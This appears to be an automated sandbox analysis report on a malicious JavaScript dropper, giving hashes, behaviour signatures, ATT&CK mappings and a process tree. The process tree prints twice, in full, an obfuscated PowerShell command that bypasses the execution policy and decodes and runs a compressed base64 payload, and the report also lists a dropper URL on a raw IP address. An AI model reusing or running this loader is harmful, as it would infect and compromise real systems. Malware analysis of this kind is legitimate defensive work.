0442f029601c5925d346260e512770beb5a9a28ef4ac9e2da5d1b0e7d27341a6

General

Target

55e020dbea48939cdd285ea106713f40bc077e2c.js
Size

43KB
MD5

cd8ce0411e414f67fa7e34b06004314f
SHA1

55e020dbea48939cdd285ea106713f40bc077e2c
SHA256

0442f029601c5925d346260e512770beb5a9a28ef4ac9e2da5d1b0e7d27341a6
SHA512

322b0c0a1166f392150d46f529ab3475954b5255f955e893bffc49c61865a2f953dc3dd598ca13f9954b61fa79bea797ec7e740ab7cab48d6d5dda08d9631e03
SSDEEP

768:4aPlutIv0NmQCjO2rpReJk3zBE5kxuALjWV+yLFz9ohcqJ8H:uK1j1syDaVh9onKH

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://159.203.143.66/r/

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1020	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeDebugPrivilege	1768	whoami.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1816 wrote to memory of 1300	1816	wscript.exe	27
PID 1816 wrote to memory of 1300	1816	wscript.exe	27
PID 1816 wrote to memory of 1300	1816	wscript.exe	27
PID 1300 wrote to memory of 1020	1300	cmD.exe	29
PID 1300 wrote to memory of 1020	1300	cmD.exe	29
PID 1300 wrote to memory of 1020	1300	cmD.exe	29
PID 1020 wrote to memory of 1768	1020	powershell.exe	30
PID 1020 wrote to memory of 1768	1020	powershell.exe	30
PID 1020 wrote to memory of 1768	1020	powershell.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\55e020dbea48939cdd285ea106713f40bc077e2c.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1816
- C:\wiNDOWS\SYsTEM32\cmD.exe
  "C:\wiNDOWS\SYsTEM32\cmD.exe" /c PoweRSheLL -execUTiONPoLic BypasS "& ((gV '*mDr*').naME[3,11,2]-Join'') ( nEw-oBJecT syStEm.iO.CompREsSiON.defLAtEStReAM( [SYstEM.io.MEmOryStream] [CoNVErT]::FrOmbASe64sTRING('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') , [sYsTEm.io.ComPREsSiOn.coMPreSsioNmODe]::DEcOmPreSs) |fOrEACH-obJEcT{ nEw-oBJecT sySTEM.Io.sTReaMreadeR( $_, [teXt.EnCODInG]::AsCiI)} ).ReaDtoenD( ) "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PoweRSheLL -execUTiONPoLic BypasS "& ((gV '*mDr*').naME[3,11,2]-Join'') ( nEw-oBJecT syStEm.iO.CompREsSiON.defLAtEStReAM( [SYstEM.io.MEmOryStream] [CoNVErT]::FrOmbASe64sTRING('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') , [sYsTEm.io.ComPREsSiOn.coMPreSsioNmODe]::DEcOmPreSs) |fOrEACH-obJEcT{ nEw-oBJecT sySTEM.Io.sTReaMreadeR( $_, [teXt.EnCODInG]::AsCiI)} ).ReaDtoenD( ) "
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1020
  - - C:\Windows\system32\whoami.exe
      "C:\Windows\system32\whoami.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1768

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1020-58-0x000007FEF37E0000-0x000007FEF4203000-memory.dmp

Filesize
10.1MB

Download
memory/1020-60-0x00000000023A4000-0x00000000023A7000-memory.dmp

Filesize
12KB

Download
memory/1020-59-0x000007FEF2C80000-0x000007FEF37DD000-memory.dmp

Filesize
11.4MB

Download
memory/1020-61-0x00000000023AB000-0x00000000023CA000-memory.dmp

Filesize
124KB

Download
memory/1020-63-0x00000000023A4000-0x00000000023A7000-memory.dmp

Filesize
12KB

Download
memory/1020-64-0x00000000023AB000-0x00000000023CA000-memory.dmp

Filesize
124KB

Download
memory/1816-54-0x000007FEFC001000-0x000007FEFC003000-memory.dmp

Filesize
8KB

Download

Analysis

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